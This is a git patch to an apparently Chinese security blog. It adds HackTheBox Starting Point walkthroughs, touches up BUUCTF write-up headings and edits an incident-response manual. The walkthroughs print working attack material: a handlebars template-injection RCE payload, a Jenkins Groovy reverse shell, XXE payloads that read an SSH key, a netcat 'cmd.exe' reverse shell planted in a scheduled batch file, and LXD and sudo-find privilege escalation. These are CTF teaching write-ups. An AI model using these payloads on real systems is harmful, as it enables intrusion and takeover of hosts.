From 594e5a7341f736ae94dc723b5df5430c23be887a Mon Sep 17 00:00:00 2001 From: Mercurio Date: Sat, 9 Mar 2024 13:58:56 +0800 Subject: [PATCH] update htb-starting-point Signed-off-by: Mercurio --- content/posts/buu-web/index.md | 46 ++-- content/posts/ciscn2019/index.md | 1 + content/posts/ecnuctf2019/index.md | 1 + content/posts/htb-starting-point/index.md | 313 +++++++++++++++++++++- content/posts/ir-manual/index.md | 19 +- content/posts/struts2/index.md | 1 + content/posts/summer-school/index.md | 2 + content/posts/think-php-myadmin/index.md | 1 + 8 files changed, 353 insertions(+), 31 deletions(-) diff --git a/content/posts/buu-web/index.md b/content/posts/buu-web/index.md index bce8126ba..985d73c7d 100644 --- a/content/posts/buu-web/index.md +++ b/content/posts/buu-web/index.md @@ -7,6 +7,10 @@ tags: - SSRF - 反序列化 - PHP + - 文件包含 + - Hash + - 古典密码与编码 + - Python categories: - Web 安全 --- @@ -15,7 +19,7 @@ categories: -## [HCTF 2018]WarmUp +## \[HCTF 2018\] WarmUp F12 发现 `source.php` 得源码: @@ -95,7 +99,7 @@ $_page = mb_substr( ?file=hint.php?../../../../../ffffllllaaaagggg ``` -## [强网杯 2019]随便注 +## \[强网杯 2019\] 随便注 单引号可以发现存在注入,但尝试注入时页面返回 @@ -118,7 +122,7 @@ return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 注意这里可以使用 `char` 绕过、大小写绕过,并且纯数字表名需要用反引号包起来。 -## [护网杯 2018]easy_tornado +## \[护网杯 2018\] easy_tornado 我们需要计算的 hash 是 `md5(cookie_secret+md5(filename))`,已经获得了 flag 的文件名,还需要 `cookie_secret`。由于是 tornado 框架,可以尝试 SSTI。 @@ -128,7 +132,7 @@ return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); /file?filename=/fllllllllllllag&filehash=a47f809c580850840a5562488d72a3df ``` -## [SUCTF 2019]EasySQL +## \[SUCTF 2019\] EasySQL 源码泄露: @@ -212,13 +216,13 @@ return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 另一种办法是直接输入 `*,1`,从而构造 `select *,1||flag from Flag`,这里的 `||` 就是默认的或运算。 -## [HCTF 2018]admin +## \[HCTF 2018\] admin 注册时输入 unicode 字符会报错,由于开启了 debug 模式,直接可以拿到 python 的 shell,从 `index.html` 中读 flag。这个应该是 BUU 平台的非预期。 实际上,本题预期解是利用 Unicode 同形字,注册 `ᴀdmin` 并登陆,然后修改密码即可修改 `admin` 的密码,但是同样出现了很多非预期,具体参考 [出题人题解](https://www.ckj123.com/?p=147)。 -## [RoarCTF 2019]Easy Calc +## \[RoarCTF 2019\] Easy Calc 首页可以发现 js 代码,也就是自定义的 waf: @@ -272,7 +276,7 @@ if(!isset($_GET['num'])){ /calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) ``` -## [强网杯 2019]高明的黑客 +## \[强网杯 2019\] 高明的黑客 提供了 `www.tar.gz`,里面有 3000 + 个 php 文件,都含有类似一句话的部分,但是大多不能用。需要写脚本找到能用的一句话木马: @@ -310,7 +314,7 @@ for name in filenames: pass ``` -## [SUCTF 2019]CheckIn +## \[SUCTF 2019\] CheckIn 可以上传文件,但是会对后缀名、文件头进行检查,同时文件中不能存在 `` 就可以绕过,前者可以上传图片马。随后就需要我们去包含这个图片马。 @@ -325,7 +329,7 @@ auto_prepend_file=1.jpg 这样以后,再访问上传目录下的 `index.php` 即可。 -## [网鼎杯 2018]Fakebook +## \[网鼎杯 2018\] Fakebook 首先通过 `robots.txt` 发现 `user.php.bak`: @@ -405,9 +409,7 @@ echo serialize($a); no=-1'union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"merc";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'-- ``` -## [De1CTF 2019]SSRF Me - -iec +## \[De1CTF 2019\] SSRF Me ```python from flask import Flask @@ -544,7 +546,7 @@ r = requests.get(base +'De1ta?param='+url, cookies=cookies) print(r.text) ``` -## [RoarCTF 2019]Easy Java +## \[RoarCTF 2019\] Easy Java 容易发现任意文件下载漏洞,我们可以下载 `WEB-INF/web.xml`,注意必须通过 POST 方式。可以发现存在 `FlagController`,然后去下载 `FlagController`: @@ -554,7 +556,7 @@ filename=WEB-INF/classes/com/wm/ctf/FlagController.class jd-gui 反编译可以发现 flag 的 base64 编码。 -## [0CTF 2016]piapiapia +## \[0CTF 2016\] piapiapia 扫目录得 `www.zip`,发现正常注册登陆后可以修改档案,随后查看档案时存在反序列化操作,而其中图片是通过 `file_get_contents` 获取的,可以用来读关键文件 `config.php`。 @@ -629,7 +631,7 @@ config.php ------WebKitFormBoundary8V1KsQLRGLqfB6An-- ``` -## [BUUCTF 2018]Online Tool +## \[BUUCTF 2018\] Online Tool [参考文章](https://paper.seebug.org/164/)。 @@ -655,7 +657,7 @@ payload: 然后访问沙箱即可。 -## [SUCTF 2019]Pythonginx +## \[SUCTF 2019\] Pythonginx ```py @app.route('/getUrl', methods=['GET', 'POST']) @@ -685,7 +687,7 @@ def getUrl(): 然后,题目还提示了 nginx,因此可以想到用 `file` 协议读取 nginx 配置文件,得到 flag 位置,恰好也位于 `/usr` 目录下,因此直接读即可。 -## [CISCN2019 华北赛区 Day1 Web1]Dropbox +## \[CISCN2019 华北赛区 Day1 Web1\] Dropbox [参考](https://paper.seebug.org/680/) @@ -956,7 +958,7 @@ $phar->stopBuffering(); 然后将 `php.ini` 中的 `phar.readonly` 设为 `Off`,运行得到 `1.phar`,上传并抓包,更改文件名为 `1.gif`,更改 `Content-Type` 为 `image/gif` 即可成功上传。最后删除,更改文件名为 `phar://1.gif`,触发 `unlink` 读取 flag。 -## [ASIS 2019]Unicorn shop +## \[ASIS 2019\] Unicorn shop 本题需要花费 1337 购买超级独角兽,但输入的价格只能是一个字符。查看源代码发现提示和 UTF8 相关,因此去查询 Unicode 中数值大于 1337 的字符的 UTF8 编码,举个例子: @@ -966,7 +968,7 @@ id=4&price=%e1%8d%bc 这个字符代表一万,因此可以购买。[查询网站](https://www.compart.com/en/unicode/) -## [CISCN2019 华北赛区 Day1 Web2]ikun +## \[CISCN2019 华北赛区 Day1 Web2\] ikun 首先需要找到 `lv6`,页数很多,写脚本跑一下: @@ -1022,7 +1024,7 @@ print urllib.quote(p) c__builtin__%0Aeval%0Ap0%0A%28S%27open%28%22/flag.txt%22%2C%22r%22%29.read%28%29%27%0Ap1%0Atp2%0ARp3%0A. ``` -## [GYCTF2020] Blacklist +## \[GYCTF2020\] Blacklist 存在过滤语句 `return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);`,无法 `select`,可以考虑堆叠注入: @@ -1037,7 +1039,7 @@ c__builtin__%0Aeval%0Ap0%0A%28S%27open%28%22/flag.txt%22%2C%22r%22%29.read%28%29 -1';handler FlagHere open; handler FlagHere read first; handler close;# ``` -## [安洵杯 2019]easy_serialize_php +## \[安洵杯 2019\] easy_serialize_php ```php ` 进行 > get flag ``` +### Explosion + +RDP 服务默认使用 TCP 3389 端口,使用管理员账号 Administrator + 空口令登录: + +```bash +$ xfreerdp /v: /cert:ignore /u:Administrator +``` + +### Preignition + +HTTP 服务默认使用 TCP 80 端口,响应头中发现服务器版本为 Nginx 1.14.2。使用 gobuster 进行目录扫描: + +```bash +$ gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt +``` + +发现存在 `admin.php`,可以访问管理员后台但需要账号密码,使用弱口令 `admin/admin` 成功登录。 + +### Mongod + +MongoDB 服务默认使用 TCP 27017 端口,首先安装 `mongodb-clients` 工具,随后使用 `mongo` CLI 访问数据库,找到 `flag` 这个 collection 并使用 `find` 查询数据: + +```bash +$ mongo +... +> show dbs +admin 0.000GB +config 0.000GB +local 0.000GB +sensitive_information 0.000GB +users 0.000GB +> use sensitive_information +> show collections +flag +> db.flag.find().pretty() +``` + +### Synced + +Rsync 服务默认使用 TCP 873 端口,直接使用 rsync 匿名认证连接:`rsync --list-only rsync:///`,发现 flag 在 `public` 目录下,使用 rsync 下载到本地: + +```bash +$ rsync rsync:///public/flag.txt ./flag +``` + ## Tier 1 ### Appointment @@ -113,6 +162,99 @@ $ aws --endpoint http://s3.thetoppers.htb s3 ls s3://thetoppers.htb $ aws --endpoint http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb ``` +### Ignition + +扫描发现仅 80 端口开放,浏览器访问跳转到 ignition.htb,修改 hosts 文件即可正常访问。目录爆破发现 `/admin` 是一个 Magento 后台登录页面,搜索发现 Magento 要求密码长度 >= 7 个字符,且至少包含一个字母和一个数字。根据密码要求、题目末位提示以及 [2023 最常见密码列表](https://mailsafi.com/blog/top-200-most-common-passwords/),使用 `qwerty123` 成功登录,登录后在后台 Dashboard 页面直接获得 flag。 + +### Bike + +扫描发现 22 和 80 端口开放,其中 80 端口上运行 Nodejs 服务,whatweb 显示采用了 Express 框架。在输入框中尝试输入内容并提交,发现会直接回显。根据题目提示提交 `{{7*7}}` 尝试模版注入发现报错,报错信息中含有模版引擎信息 handlebars。 + +因此,可以使用 Hacktricks 上的 [handlebars 模版注入 payload](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#handlebars-nodejs),经过 URL 编码后在 Burpsuite 中发送: + +``` +POST / HTTP/1.1 +... + +email=%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D&action=Submit +``` + +这段 payload 的核心在于 `return require('child_process').exec('whoami');`,即使用 `require` 加载了 `child_process` 模块并执行命令。但发送后我们得到了 `ReferenceError: require is not defined` 的错误,这可能是因为模版引擎通常在沙箱中执行代码,而这个沙箱中禁用了 `require` 语法。 + +因此考虑其他方法,在 Node.js 文档中发现存在全局变量 `process`,其中包含了当前进程的信息,而 `process.mainModule` 会返回当前进程的主进程,而主进程是不在沙箱里的因此可以调用 `require` 。这样我们只需要把 payload 核心改为: + +```js +return process.mainModule.require("child_process").execSync("whoami"); +``` + +再发送即,注意使用 `execSync` 确保能在命令执行完后返回结果。 + +### Funnel + +扫描发现 21 和 22 端口开放,FTP 尝试匿名登录发现可以成功。在 FTP 服务器上发现 password_policy.pdf 中存在默认密码信息,在 welcome 文件中发现多个用户名信息。用默认密码逐一尝试 SSH 登陆这些用户,发现可以成功登录 christine 用户。 + +或者也可以用 hydra: + +```bash +$ hydra -L usernames.txt -p 'funnel123#!#' ssh +``` + +登录后检查监听端口,通过 `ss -tl` 发现 `127.0.0.1:5432` 可能运行 postgresql 服务。但是这台主机上没有安装与 postgresql 交互的 CLI 工具 `psql`,因此我们需要从本地主机连接服务。由于服务监听在 127.0.0.1,我们需要通过本地端口转发,使得发送到我们本地主机 2345 端口的流量通过 SSH 隧道转发到远程主机的 5432 端口: + +```bash +$ ssh -L 2345:localhost:5432 christine@ +``` + +随后就可以通过 `psql` 连接了: + +```bash +$ psql -h localhost -p 2345 -U christine +> \l +> \c secrets +> \dt +> select * from flag; +``` + +除了使用本地端口转发外,也可以使用动态端口转发,此时本质上是在本地的 2345 端口上运行了一个 SOCKS5 代理: + +```bash +$ ssh -D 2345 christine@ +``` + +这样只要通过 `proxychains` 等工具走代理就能访问远程主机上的任意端口了(`proxychains` 需要在 `ProxyList` 中设置 `socks5 127.0.0.1 2345` 代理): + +```bash +$ proxychains psql -h localhost -p 5432 -U christine +``` + +### Pennyworth + +扫描发现 8080 端口开放 Jenkins 服务,使用默认密码 `root/password` 登录。随后通过 Manage Jenkins -> Script Console 执行 [Groovy Script 反弹 shell](https://github.com/gquere/pwn_jenkins): + +```groovy +String host=""; +int port=1234; +String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); +``` + +### Tactics + +445 端口开放,使用 `smbclient -U Administrator -L ` 加空密码访问 SMB 服务,发现 `ADMIN$` 和 `C$` 这两个 Share 都可以访问 。随后我们可以直接访问 C 盘获取 flag: + +```bash +$ smbclient -U Administrator \\\\\\C$ +> cd Users\Administrator\Desktop +> get flag.txt +``` + +或者,由于可以访问 `ADMIN$`,我们也可以用 impacket 的 psexec 模块获取 shell,注意输入空密码: + +```bash +$ impacket-psexec Administrator@ +> cd C:\Users\Administrator\Desktop +> type flag.txt +``` + ## Tier 2 ### Archetype @@ -316,3 +458,172 @@ $ mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0f ``` 随后就可以在 web 界面使用 `administrator/123456` 登录 Unifi 管理后台了。在 Settings 中可以显示 SSH root 密码 `NotACrackablePassword4U2022`,通过 SSH 登录 root 用户即可获得 root flag。 + +### Included + +扫描发现 80 端口开放,访问网站发现首页 URL 中存在文件包含特征:`?file=home.php`,尝试包含 `/etc/passwd`: + +``` +?file=../../../../../../etc/passwd +``` + +发现可以成功显示文件内容。在该文件中发现存在 `tftp` 用户,说明主机上可能存在 TFTP 服务。`nmap -sU` 扫描发现 UDP 69 端口开放,运行 TFTP 服务。[查阅](https://help.ubuntu.com/community/TFTP)发现 TFTP 无认证机制,默认文件存放位置为 `/var/lib/tftpboot/`,因此我们可以通过 TFTP 上传 Webshell,随后利用本地文件包含漏洞访问 Webshell。 + +```bash +$ tftp +> put rev_sh.php +> quit +``` + +然后访问: + +``` +?file=../../../../../../var/lib/tftpboot/rev_sh.php +``` + +即可获得 shell。随后在网站目录下发现 `.htpasswd`,得到用户 mike 的密码,从而得到 user flag。 + +`id` 发现 mike 属于 `lxd` 组,[因此](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation)我们可以提权为 root。在本地打包一个 lxc 镜像: + +```bash +$ sudo apt update +$ sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools +$ git clone https://github.com/lxc/distrobuilder +$ cd distrobuilder +$ make +$ mkdir -p $HOME/ContainerImages/alpine/ +$ cd $HOME/ContainerImages/alpine/ +$ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml +$ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 +``` + +> 坑点:fetching https://dl-cdn.alpinelinux.org/alpine/v3.18/main: Permission denied 报错问题,是由于 fetch 在使用代理发送 HTTPS 请求时存在 bug 导致的,即使切换用户为 root 也无法解决。需要关闭代理、或使用 HTTP。 + +打包完成后,会生成 `incus.tar.xz` 和 `rootfs.squashfs` 两个文件,通过本地起 HTTP Server 将文件下载到靶机上,随后加载镜像并以特权模式启动容器: + +```bash +$ lxc image import incus.tar.xz rootfs.squashfs --alias alpine +$ lxc image list +$ lxc init alpine privesc -c security.privileged=true +$ lxc list +$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true +$ lxc start privesc +$ lxc exec privesc /bin/sh +``` + +此时宿主机的 `/` 就被挂载到了容器的 `/mnt/root` 下,并且我们拥有容器的 root 权限,可以读取任意文件。 + +### Markup + +扫描发现 22, 80, 443 开放,网站登录存在弱密码 `admin:password`,登录后发现 Order 页面接收用户输入,抓包可以看到请求数据通过 XML 格式发送,且 Type of Goods(对应 `item` 字段)会有回显。因此可以尝试 XXE 读文件,由于靶机为 Windows 可以读取 `C:/windows/system32/drivers/etc/hosts` 文件: + +```xml + + ]> + + 1 + &ext; +
123
+
+``` + +接下来需要寻找敏感文件。在网页源码中发现 Daniel 字样,说明可能存在该用户,尝试读取 Daniel 的 SSH 私钥: + +```xml + + ]> + + 1 + &ext; +
123
+
+``` + +此时即可 SSH 登录主机获得 user flag。随后在 `C:\Log-Management` 目录下发现 `job.bat` 文件: + +```bat +@echo off +FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V +IF (%adminTest%)==(Access) goto noAdmin +for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G") +echo. +echo Event Logs have been cleared! +goto theEnd +:do_clear +wevtutil.exe cl %1 +goto :eof +:noAdmin +echo You must run this script as an Administrator! +:theEnd +exit +``` + +这个脚本会在验证管理员权限后使用 [wevutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil) 执行日志清除任务,有可能是一个定时执行的脚本,但脚本本身对我们没有帮助。我们可以修改脚本内容为反弹 shell payload,然后借助定时任务获取管理员 shell。为此,需要先检查 Daniel 对该文件的权限: + +```powershell +daniel@MARKUP C:\Log-Management> icacls job.bat +job.bat BUILTIN\Users:(F) + NT AUTHORITY\SYSTEM:(I)(F) + BUILTIN\Administrators:(I)(F) + BUILTIN\Users:(I)(RX) +``` + +可以发现 `BUILTIN\Users` 也就是本机上的所有用户都具备 Full 权限,因此可以在 cmd 中修改: + +```powershell +daniel@MARKUP C:\Log-Management> echo C:\Log-Management\nc64.exe -e cmd.exe 1337 > job.bat +``` + +注意之后 `job.bat` 有可能被覆盖为原内容,此时需要再次用反弹 shell payload 覆盖文件,多次尝试后可以获得管理员 shell。 + +### Base + +扫描发现 22, 80 端口开放,网站登录页面 URL 为 `/login/login.php`,直接访问 `/login` 可以发现该目录下存在三个文件,其中 `config.php` 是配置文件可能包含敏感信息,但暂时无法读取;`login.php.swp` 是 `login.php` 的备份文件,可以阅读其源码,发现关键部分如下: + +```php +header("Location: /upload.php"); +$_SESSION['user_id'] = 1; +if (strcmp($password, $_POST['password']) == 0) { +if (strcmp($username, $_POST['username']) == 0) { +require('config.php'); +if (!empty($_POST['username']) && !empty($_POST['password'])) { +session_start(); +``` + +根据此处代码逻辑,可以推断这里的行顺序完全颠倒了,我们可以使用 `tac` 来倒序输出: + +```php +alert('Wrong Username or Password')"); + } + } else { + print(""); + } +``` + +可以看到这里使用 `strcmp()` 返回结果是否为 0 来判断用户名与密码是否合法,因此可以利用 `strcmp()` 函数传入非字符串值时返回 `NULL` 的特性,加上 `NULL == 0` 的 PHP 语言规则来通过校验: + +``` +POST /login/login.php HTTP/1.1 +... + +username[]=admin&password[]=123456 +``` + +随后即可访问 `/upload.php` 上传文件,通过 gobuster 找到上传目录 `/_uploaded`: + +```bash +$ gobuster dir -u http:// -w /usr/share/wordlists/dirb/big.txt +``` + +随后即可访问上传的 Webshell。获取反弹 shell 后发现主机上存在 `john` 用户。检查 `/login/config.php`,发现网站中 `admin` 用户的密码,该密码同时也是主机上 `john` 用户的密码,因此可以获取 user flag。 + +`sudo -l` 发现 `john` 可以用 root 权限运行 `find` 命令,使用 `find . -exec /bin/sh \; -quit` 获取 root shell。 diff --git a/content/posts/ir-manual/index.md b/content/posts/ir-manual/index.md index 5b43c4fad..00a3124cc 100644 --- a/content/posts/ir-manual/index.md +++ b/content/posts/ir-manual/index.md @@ -21,11 +21,11 @@ categories: ### 云产品告警 -1. CFW 告警:此类告警整体风险较低,多数情况下为恶意扫描/客户自行下载 bash 脚本。登录控制台查看相关源/目的 IP 及 payload 后直接与客户沟通。 -2. SAS 告警:首先与客户确认是否属于内部操作,等待回复期间可先查看群内告警信息。 +1. SAS 告警:首先与客户确认是否属于内部操作,等待回复期间可先查看群内告警信息。 1. “当前状态:已拦截” 表明云安全中心精准防御功能已自动拦截对应进程,攻击暂时没有成功。但需要持续关注后续告警,精准防御容易被绕过 2. 以下告警属于客户内部操作的概率较高,供参考 \[数据删除\] 3. 以下告警属于真实攻击事件的概率较高,供参考 \[数据删除\] +2. 其他云产品告警:参考 [特定告警处置技巧](#)(内部文档) 如果客户确认为内部操作,可与客户沟通并提供建议,或进行加白操作;否则进入事件确认阶段。 @@ -35,7 +35,9 @@ categories: ## 事件确认 -客户确认并非内部操作后,通过 SSO 登录客户云安全中心控制台查看告警详细信息。对于部分告警,可以通过“溯源”模块,以图形化方式查看攻击路径,在少数情况下可以快速定位到入侵原因。 +客户确认并非内部操作后,通过 SSO 登录客户云安全中心控制台查看告警详细信息。对于非管家客户,可以让客户创建一个 RAM 账号,话术如下:\[数据删除\] + +对于部分告警,可以通过“溯源”模块,以图形化方式查看攻击路径,在少数情况下可以快速定位到入侵原因。 通过分析告警详情、结合上述统计数据,对告警风险等级进行初步判断并通知客户。随后判断告警是否对应真实攻击: @@ -45,7 +47,7 @@ categories: ## 抑制止损 -在事件确认过程中,可以大致确定攻击者的入侵方式,据此参考 最新应急响应案例统计(内部文档) 选择止血方式(*斜体*表示可通过控制台/机器人代为操作、**加粗**表示需上机操作/通知客户操作): +在事件确认过程中,可以大致确定攻击者的入侵方式,据此参考 [最新应急响应案例统计](#)(内部文档) 选择止血方式(*斜体*表示可通过控制台/机器人代为操作、**加粗**表示需上机操作/通知客户操作): - 攻击者通过互联网远程访问主机上的服务导致入侵 - 如能通过云安全中心直接快速定位到攻击 IP,则进行 _IP 阻断_(安全组/CFW) @@ -73,7 +75,7 @@ categories: 向客户申请上机权限后,将相关登录信息同步至应急响应小组备用。如果申请过程中客户需要管家侧提供白名单 IP,可参考:\[数据删除\] -> 对于 Linux 主机,需要申请 root 用户登录权限;对于 Windows 主机,需要申请 Administrator 用户登录权限。 +> 对于 Linux 主机,建议申请 root 用户登录权限;对于 Windows 主机,建议申请 Administrator 用户登录权限。 ## 入侵分析 @@ -92,15 +94,16 @@ categories: - 列出针对某域名被拦截的访问记录:`host:域名 and status:405 | SELECT real_client_ip, final_plugin, final_rule_id, request_path, COUNT(*) as c group by real_client_ip, final_plugin, final_rule_id, request_path order by c desc` - 列出所有比较重要的字段用于攻击分析:`host:域名 | SELECT time, real_client_ip, querystring, request_body, request_method, request_path, status` - 定位 Web 日志路径 + - 直接询问常在-GPT - 尝试直接 `locate`相关的服务,例如 `locate nginx` - 如果没有 `locate` 命令,可以通过包管理器安装 `mlocate` 后运行 `updatedb` - Nginx 默认:`/var/log/nginx/access.log` - Apache 默认:`/var/log/httpd/access_log`, `/var/log/apache2/access.log` - 通过云安全中心-主机资产详情-资产指纹调查-Web 服务初步确定主机上运行的 Web 服务,有时可以定位到 Web 目录(其他资产指纹信息亦可以参考) - Web 日志排查 - - 通过星图可视化分析:登录星图日志分析平台,通过映射本地目录将日志文件放入桌面上的 `logs` 目录,随后运行 `xingtu` 目录下的 `start.bat`,结果位于 `xingtu` 目录下的 `results`中 + - 通过星图可视化分析:登录 \[数据删除\] 主机,通过映射本地目录将日志文件放入桌面上的 `logs` 目录,随后运行 `xingtu` 目录下的 `start.bat`,结果位于 `xingtu` 目录下的 `results`中 - 通过 SLS 查询分析:通过 irtk 或其他方式获取日志后上传到 OSS Bucket \[数据删除\] 下的 `/tmp/irtk_upload`,5 分钟内日志会被导入 `nginx-logs` Logstore,随后通过数据加工输出到 `nginx-logs-parsed` Logstore 供查询 -- 根据云安全中心告警时间缩小排查范围,例如告警时间为 `2006-01-02 15:04:05`,则可尝试 `more /path/to/access.log | grep 02/Jan/2006:15:04:` 缩小时间范围(时间格式与日志类型有关);查询特定 IP `12.34.56.78` 的访问记录也可通过类似方式:`grep 12.34.56.78`;其他关键字同理 +- 根据云安全中心告警时间缩小排查范围,例如告警时间为 `2006-01-02 15:04:05`,则可尝试 `more /path/to/access.log | grep 02/Jan/2006:15:04:` 缩小时间范围(时间格式与日志类型有关);同理,查询特定 IP `12.34.56.78` 的访问记录也可通过类似方式:`grep 12.34.56.78` - 如存在 Webshell,可通过 `stat webshell.php` 进一步确定攻击时间 - 如存在弱口令,优先通知客户更改口令 @@ -369,7 +372,7 @@ QS.creation_time DESC 这一步骤可以在入侵分析前进行,主要清除系统中的恶意进程、文件、服务、Web 页面等,恢复被篡改的数据与配置,并恢复业务正常运行。 -需要注意,如果在原主机上操作,由于涉及对系统本身的修改,这一过程需要由客户授权后进行;若过程中对业务产生较大影响,可以使用快照进行回滚。 +需要注意,如果在原主机上操作,由于涉及对系统本身的修改,这一过程需要由**客户授权后进行**;若过程中对业务产生较大影响,可以使用快照进行回滚。 为避免遗漏,建议在应急响应报告“事件处理”版块中,列举已清除的威胁对象信息,例如: diff --git a/content/posts/struts2/index.md b/content/posts/struts2/index.md index 5d756407f..b13521013 100644 --- a/content/posts/struts2/index.md +++ b/content/posts/struts2/index.md @@ -3,6 +3,7 @@ title: Struts2 漏洞学习 date: 2020-08-04 tags: - Java + - 反序列化 categories: - Web 安全 --- diff --git a/content/posts/summer-school/index.md b/content/posts/summer-school/index.md index bf267f2ff..992db7493 100644 --- a/content/posts/summer-school/index.md +++ b/content/posts/summer-school/index.md @@ -8,6 +8,8 @@ tags: - 反序列化 - RSA - SQLi + - PHP + - 古典密码与编码 categories: - 比赛记录 --- diff --git a/content/posts/think-php-myadmin/index.md b/content/posts/think-php-myadmin/index.md index e6cbefdb9..8a973098e 100644 --- a/content/posts/think-php-myadmin/index.md +++ b/content/posts/think-php-myadmin/index.md @@ -3,6 +3,7 @@ title: ThinkPHP & phpMyAdmin 漏洞学习 date: 2020-07-29 tags: - PHP + - 反序列化 categories: - Web 安全 ---